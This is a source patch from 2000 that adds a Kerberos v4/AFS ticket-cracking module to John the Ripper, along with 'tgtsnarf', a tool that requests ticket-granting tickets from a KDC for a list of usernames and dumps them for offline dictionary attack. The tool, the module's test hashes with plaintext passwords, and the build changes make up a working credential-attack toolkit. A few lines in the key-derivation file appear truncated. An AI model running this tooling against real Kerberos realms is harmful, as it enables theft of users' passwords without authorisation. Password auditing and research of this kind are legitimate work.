--- KRB4_fmt.c.orig Sat Feb 26 15:42:41 2000 +++ KRB4_fmt.c Sat Feb 26 17:56:48 2000 @@ -0,0 +1,287 @@ +/* + KRB4_fmt.c + + AFS/krb4 TGT dictionary attack module for Solar Designer's John the Ripper. + + tgtsnarf files should only contain entries for one cell/realm. + + Copyright (c) 1999 Dug Song + All rights reserved, all wrongs reversed. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +#include +#include +#include + +#include "arch.h" +#include "DES_std.h" +#include "KRB4_std.h" +#include "misc.h" +#include "common.h" +#include "formats.h" + +#define TGT_LENGTH 16 /* 2 des_cblock's */ + +#define FORMAT_LABEL "krb4" +#define FORMAT_NAME "Kerberos v4 TGT" +#define ALGORITHM_NAME DES_STD_ALGORITHM_NAME +#define BENCHMARK_COMMENT "" +#define BENCHMARK_LENGTH -1 +#define PLAINTEXT_LENGTH 32 +#define BINARY_SIZE 0 +#define SALT_SIZE TGT_LENGTH + REALM_SZ +#define MIN_KEYS_PER_CRYPT 1 +#define MAX_KEYS_PER_CRYPT 1 + +static struct fmt_tests krb4_tests[] = { + {"$af$UMICH.EDU$bb46613c503ad92e649d99d038efddb2", "w00w00"}, + {"$af$UMICH.EDU$95cd4367d4828d117b745ed63b9229be", "asdfjkl;"}, + {"$af$UMICH.EDU$000084efbde96969fd54d1a2ec8c287d", "hello!"}, + {"$af$UMICH.EDU$e9660a21b280875a7ecfc68aa771e34a", "a12345"}, + {"$af$UMICH.EDU$566f2b8629b9be36680866b0e613f239", "a1b2c3"}, + {"$af$UMICH.EDU$bebcedf43f7f2aa78cf9c0639e494c92", "abcdefg12345678"}, + {"$af$ENGIN.UMICH.EDU$9ef1034301e1f1fcf1516cb65aa1cc79", "asdfjkl;"}, + {"$af$ENGIN.UMICH.EDU$02ad23a6364df67a4db473de053cacbb", "a1b2c3"}, + {"$af$ENGIN.UMICH.EDU$14d0a59a2f9e746f1a3bf02ec4fb447e", "abc123!"}, + {"$af$ENGIN.UMICH.EDU$44feffd06e68e30bc8890e253760858d", "12345"}, + {NULL} +}; + +static const unsigned char odd_parity[256]={ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 +}; + +static struct salt_st { + u_char tgt[TGT_LENGTH]; + char realm[REALM_SZ]; +} *saved_salt; + +static struct key_st { + des_cblock key; + des_key_schedule sched; + char string[PLAINTEXT_LENGTH]; +} saved_key; + + +static int +krb4_valid(char *ciphertext) +{ + char *p, *tgt; + + if (strncmp(ciphertext, "$k4$", 4) != 0 && + strncmp(ciphertext, "$af$", 4) != 0) + return 0; + + tgt = strchr(ciphertext + 4, '$') + 1; + + for (p = tgt; p && *p != '\0'; p++) + if (!isxdigit((int)*p)) return 0; + + if (p - tgt != TGT_LENGTH * 2) + return 0; + + return 1; +} + +static int +hex_decode(char *src, u_char *dst, int outsize) +{ + char *p, *pe; + u_char *q, *qe, ch, cl; + + pe = src + strlen(src); + qe = dst + outsize; + + for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2) { + ch = tolower(p[0]); + cl = tolower(p[1]); + + if ((ch >= '0') && (ch <= '9')) ch -= '0'; + else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10; + else return (-1); + + if ((cl >= '0') && (cl <= '9')) cl -= '0'; + else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10; + else return (-1); + + *q++ = (ch << 4) | cl; + } + return (q - dst); +} + +static void * +krb4_salt(char *ciphertext) +{ + static struct salt_st salt; + char *p; + + if (strncmp(ciphertext, "$af$", 4) == 0) { + ciphertext += 4; + p = strchr(ciphertext, '$'); + strnzcpy(salt.realm, ciphertext, (p - ciphertext) + 1); + ciphertext = p + 1; + } + else { + salt.realm[0] = '\0'; + ciphertext += 4; + } + if (hex_decode(ciphertext, salt.tgt, sizeof(salt.tgt)) != + sizeof(salt.tgt)) + return (NULL); + + return (&salt); +} + +static void +krb4_set_salt(void *salt) +{ + saved_salt = (struct salt_st *)salt; +} + +static void +krb4_set_key(char *key, int index) +{ + if (saved_salt->realm[0] != '\0') + afs_string_to_key(key, saved_salt->realm, &saved_key.key); + else + des_string_to_key(key, &saved_key.key); + + strnzcpy(saved_key.string, key, sizeof(saved_key.string)); +} + +static char * +krb4_get_key(int index) +{ + return (saved_key.string); +} + +static void +krb4_crypt_all(int count) +{ + /* XXX - NOOP */ +} + +static int +krb4_check_parity(des_cblock *key) +{ + int i; + + for (i = 0; i < DES_KEY_SZ; i++) { + if ((*key)[i] != odd_parity[(*key)[i]]) + return (0); + } + return (1); +} + +static int +krb4_cmp_all(void *binary, int count) +{ + des_cblock tmp; + + des_set_key(&saved_key.key, saved_key.sched); + + des_pcbc_encrypt((des_cblock *)saved_salt->tgt, &tmp, + sizeof(des_cblock), saved_key.sched, + &saved_key.key, DES_DECRYPT); + + return (krb4_check_parity(&tmp)); +} + +static int +krb4_cmp_one(void *binary, int count) +{ + u_char text[TGT_LENGTH]; + + des_pcbc_encrypt((des_cblock *)saved_salt->tgt, (des_cblock *)text, + sizeof(text), saved_key.sched, &saved_key.key, + DES_DECRYPT); + + return (memcmp(text + 8, "krbtgt", 6) == 0); +} + +static int +krb4_cmp_exact(char *source, int index) +{ + return (1); /* XXX - fallthrough from krb4_cmp_one() */ +} + +struct fmt_main fmt_KRB4 = { + { + FORMAT_LABEL, + FORMAT_NAME, + ALGORITHM_NAME, + BENCHMARK_COMMENT, + BENCHMARK_LENGTH, + PLAINTEXT_LENGTH, + BINARY_SIZE, + SALT_SIZE, + MIN_KEYS_PER_CRYPT, + MAX_KEYS_PER_CRYPT, + FMT_CASE | FMT_8_BIT, + krb4_tests + }, { + fmt_default_init, + krb4_valid, + fmt_default_split, + fmt_default_binary, + krb4_salt, + { + fmt_default_binary_hash, + fmt_default_binary_hash, + fmt_default_binary_hash + }, + fmt_default_salt_hash, + krb4_set_salt, + krb4_set_key, + krb4_get_key, + krb4_crypt_all, + { + fmt_default_get_hash, + fmt_default_get_hash, + fmt_default_get_hash + }, + krb4_cmp_all, + krb4_cmp_one, + krb4_cmp_exact + } +}; + +/* 5000. */ --- KRB4_std.h.orig Sat Feb 26 15:42:41 2000 +++ KRB4_std.h Sat Feb 26 15:42:41 2000 @@ -0,0 +1,16 @@ +/* + * KRB4_std.h + * + * Kerberos v4 jonks, from KTH krb4. + * + * Dug Song + */ + +#ifndef KRB4_STD_H +#define KRB4_STD_H + +#define REALM_SZ 40 + +void afs_string_to_key(char *str, char *cell, des_cblock *key); + +#endif /* KRB4_STD_H */ --- KRB4_std.c.orig Sat Feb 26 15:42:41 2000 +++ KRB4_std.c Sat Feb 26 15:42:41 2000 @@ -0,0 +1,121 @@ +/* + KRB4_std.c + + Kerberos v4 jonks, from KTH krb4. + + $OpenBSD: str2key.c,v 1.6 1998/06/22 15:22:27 beck Exp $ + $KTH: str2key.c,v 1.10 1997/03/23 03:53:19 joda Exp $ +*/ + +/* This defines the Andrew string_to_key function. It accepts a password + * string as input and converts its via a one-way encryption algorithm to a DES + * encryption key. It is compatible with the original Andrew authentication + * service password database. + */ + +#include +#include +#include +#include + +#include "KRB4_std.h" + +#ifndef des_fixup_key_parity +#define des_fixup_key_parity des_set_odd_parity +#endif + +static void +mklower(char *s) +{ + for (; s[0] != '\0'; s++) + if ('A' <= *s && *s <= 'Z') + *s = *s - 'A' + 'a'; +} + +/* + * Short passwords, i.e 8 characters or less. + */ +static void +afs_cmu_StringToKey (char *str, char *cell, des_cblock *key) +{ + char password[8+1]; /* crypt is limited to 8 chars anyway */ + int i; + int passlen; + + memset(key, 0, sizeof(key)); + memset(password, 0, sizeof(password)); + + strncpy (password, cell, 8); + password[8] = '\0'; + passlen = strlen (str); + if (passlen > 8) passlen = 8; + + for (i=0; i sizeof(password)) passlen = sizeof(password); + + memcpy(&ivec, "kerberos", 8); + memcpy(&temp_key, "kerberos", 8); + des_fixup_key_parity (&temp_key); + des_key_sched (&temp_key, schedule); + des_cbc_cksum ((des_cblock *)password, &ivec, passlen, schedule, &ivec); + + memcpy(&temp_key, &ivec, 8); + des_fixup_key_parity (&temp_key); + des_key_sched (&temp_key, schedule); + des_cbc_cksum ((des_cblock *)password, key, passlen, schedule, &ivec); + + des_fixup_key_parity (key); +} + +void +afs_string_to_key(char *str, char *cell, des_cblock *key) +{ + char realm[REALM_SZ+1]; + strncpy(realm, cell, REALM_SZ); + realm[REALM_SZ] = 0; + mklower(realm); + + if (strlen(str) > 8) + afs_transarc_StringToKey (str, realm, key); + else + afs_cmu_StringToKey (str, realm, key); +} --- tgtsnarf.c.orig Sat Feb 26 15:42:41 2000 +++ tgtsnarf.c Sat Feb 26 17:13:52 2000 @@ -0,0 +1,279 @@ +/* + tgtsnarf + + Collect AFS/Kerberos TGTs for later offline dictionary attack. + + Copyright (c) 1999 Dug Song + All rights reserved, all wrongs reversed. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define VERSION "1.2" +#define TGT_LENGTH 16 + +#ifndef MIN +#define MIN(a,b) (((a)<(b))?(a):(b)) +#endif + +typedef struct ktext_st { + u_int length; + u_char dat[1250]; +} KTEXT_ST; + +int AFS = 0; + +void +usage(void) +{ + fprintf(stderr, "Usage: tgtsnarf [-A] realm host [users...]\n"); + exit(1); +} + +u_long +resolve_host(char *host) +{ + u_long addr; + struct hostent *hp; + + if ((addr = inet_addr(host)) == -1) { + if ((hp = gethostbyname(host)) == NULL) + return (-1); + memcpy((char *)&addr, hp->h_addr, sizeof(addr)); + } + return (addr); +} + +int +krb_put_int(u_long from, void *to, int size) +{ + int i; + u_char *p = (u_char *)to; + + for (i = size - 1; i >= 0; i--) { + p[i] = from & 0xff; + from >>= 8; + } + return (size); +} + +int +krb_put_string(char *from, void *to) +{ + strcpy((char *)to, from); + return (strlen(from) + 1); +} + +int +make_req(u_char *dst, char *user, char *realm) +{ + char *pname, *pinst; + struct timeval tv; + u_char *p; + + if ((pname = strdup(user)) == NULL) + return (-1); + + if ((pinst = strchr(pname, '.')) != NULL) + *pinst++ = '\0'; + else pinst = pname + strlen(pname); + + gettimeofday(&tv, NULL); + + p = dst; + p += krb_put_int(4, p, 1); /* protocol version */ + p += krb_put_int((1 << 1), p, 1); /* msg type (KDC_REQUEST) */ + p += krb_put_string(pname, p); /* principal name */ + p += krb_put_string(pinst, p); /* principal instance */ + p += krb_put_string(realm, p); /* realm */ + p += krb_put_int(tv.tv_sec, p, 4); /* time */ + p += krb_put_int(120, p, 1); /* lifetime (120) */ + p += krb_put_string("krbtgt", p); /* service name (krbtgt)*/ + p += krb_put_string(realm, p); /* service instance (realm) */ + + free(pname); + + return (p - dst); +} + +int +find_tkt(KTEXT_ST *ktext, u_char *dst, int size) +{ + u_char *p; + int type, len; + + p = ktext->dat; + p += 1; /* version */ + type = *p++; + type &= ~1; /* msg type */ + + if (type != (2 << 1)) /* KDC_REPLY */ + return (-1); + + p += strlen((char*)p) + 1; /* name */ + p += strlen((char*)p) + 1; /* instance */ + p += strlen((char*)p) + 1; /* realm */ + p += 4; /* time */ + p += 1; /* # tickets */ + p += 4; /* exp date */ + p += 1; /* master kvno */ + p += 2; /* length */ + + len = MIN(ktext->length - (p - ktext->dat), size); + memcpy(dst, p, len); + + return (len); +} + +int +fetch_tgt(char *host, char *user, char *realm, u_char *dst, int size) +{ + struct sockaddr_in from, to; + KTEXT_ST ktext; + int sock, alen; + + /* Fill in dest addr. */ + memset(&to, 0, sizeof(to)); + if ((to.sin_addr.s_addr = resolve_host(host)) == -1) { + fprintf(stderr, "bad host: %s\n", host); + return (-1); + } + to.sin_family = AF_INET; + to.sin_port = htons(750); + + /* Fill in our TGT request. */ + ktext.length = make_req(ktext.dat, user, realm); + + /* Send it to KDC. */ + if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { + perror("socket"); + return (-1); + } + alen = sizeof(to); + if (sendto(sock, ktext.dat, ktext.length, 0, (struct sockaddr *)&to, alen) + < 0) { + perror("send"); + close(sock); + return (-1); + } + /* Read reply. */ + if ((ktext.length = recvfrom(sock, ktext.dat, sizeof(ktext.dat), 0, + (struct sockaddr *)&from, &alen)) <= 0) { + perror("recv"); + close(sock); + return (-1); + } + close(sock); + + /* Extract TGT. */ + return (find_tkt(&ktext, dst, size)); +} + +void +print_tgt(char *host, char *user, char *realm) +{ + u_char tgt[TGT_LENGTH]; + int i, len; + + if ((len = fetch_tgt(host, user, realm, tgt, sizeof(tgt))) == -1) { + fprintf(stderr, "==> couldn't get tgt for %s@%s\n", user, realm); + } + else { + printf("%s:$%s$%s$", user, AFS ? "af" : "k4", realm); + + for (i = 0; i < len; i++) + printf("%.2x", tgt[i]); + + printf("\n"); + } +} + +char * +upcase(char *string) +{ + char *p; + + for (p = string; *p != '\0'; p++) + *p = toupper(*p); + + return (string); +} + +int +main(int argc, char *argv[]) +{ + char c, *p, *host, *realm, user[128]; + int i; + + host = realm = NULL; + + while ((c = getopt(argc, argv, "h?AV")) != EOF) { + switch (c) { + case 'A': + AFS = 1; + break; + case 'V': + fprintf(stderr, "Version: %s\n", VERSION); + usage(); + break; + default: + usage(); + } + } + argc -= optind; + argv += optind; + + if (argc < 2) + usage(); + + realm = upcase(argv[0]); + host = argv[1]; + + if (argc == 2) { + while (fgets(user, sizeof(user), stdin) != NULL) { + if ((p = strrchr(user, '\n')) != NULL) + *p = '\0'; + print_tgt(host, user, realm); + } + } + else { + for (i = 2; i < argc; i++) + print_tgt(host, argv[i], realm); + } + exit(0); +} + +/* 5000 */ --- john.c.orig Wed Dec 2 19:29:50 1998 +++ john.c Sat Feb 26 15:42:41 2000 @@ -38,6 +38,7 @@ extern struct fmt_main fmt_DES, fmt_BSDI, fmt_MD5, fmt_BF; extern struct fmt_main fmt_AFS, fmt_LM; +extern struct fmt_main fmt_KRB4; extern int unshadow(int argc, char **argv); extern int unafs(int argc, char **argv); @@ -64,6 +65,7 @@ john_register_one(&fmt_BF); john_register_one(&fmt_AFS); john_register_one(&fmt_LM); + john_register_one(&fmt_KRB4); if (!fmt_list) { fprintf(stderr, "Unknown ciphertext format name requested\n"); --- Makefile.orig Wed Dec 2 19:29:50 1998 +++ Makefile Sat Feb 26 15:42:41 2000 @@ -18,6 +18,7 @@ LDFLAGS = -s OPT_NORMAL = -funroll-loops OPT_INLINE = -finline-functions +LIBS = -ldes JOHN_VERSION = 1.6 JOHN_ARCHIVE = john-$(JOHN_VERSION) @@ -36,6 +37,7 @@ BF_fmt.o BF_std.o \ AFS_fmt.o \ LM_fmt.o \ + KRB4_fmt.o KRB4_std.o \ batch.o bench.o charset.o common.o compiler.o config.o cracker.o \ external.o formats.o getopt.o idle.o inc.o john.o list.o loader.o \ logger.o math.o memory.o misc.o options.o params.o path.o recovery.o \ @@ -70,7 +72,7 @@ bench.o best.o common.o config.o formats.o memory.o misc.o params.o \ path.o signals.o tty.o -PROJ = ../run/john ../run/unshadow ../run/unafs ../run/unique +PROJ = ../run/john ../run/unshadow ../run/unafs ../run/unique ../run/tgtsnarf PROJ_DOS = ../run/john.bin ../run/john.com \ ../run/unshadow.com ../run/unafs.com ../run/unique.com PROJ_WIN32 = ../run/john.exe \ @@ -397,8 +399,11 @@ bench: $(BENCH_OBJS) $(LD) $(LDFLAGS) $(BENCH_OBJS) -o bench +../run/tgtsnarf: tgtsnarf.o + $(LD) $(LDFLAGS) tgtsnarf.o -o ../run/tgtsnarf + ../run/john: $(JOHN_OBJS) - $(LD) $(LDFLAGS) $(JOHN_OBJS) -o ../run/john + $(LD) $(LDFLAGS) $(JOHN_OBJS) -o ../run/john $(LIBS) ../run/unshadow: ../run/john ln -s john ../run/unshadow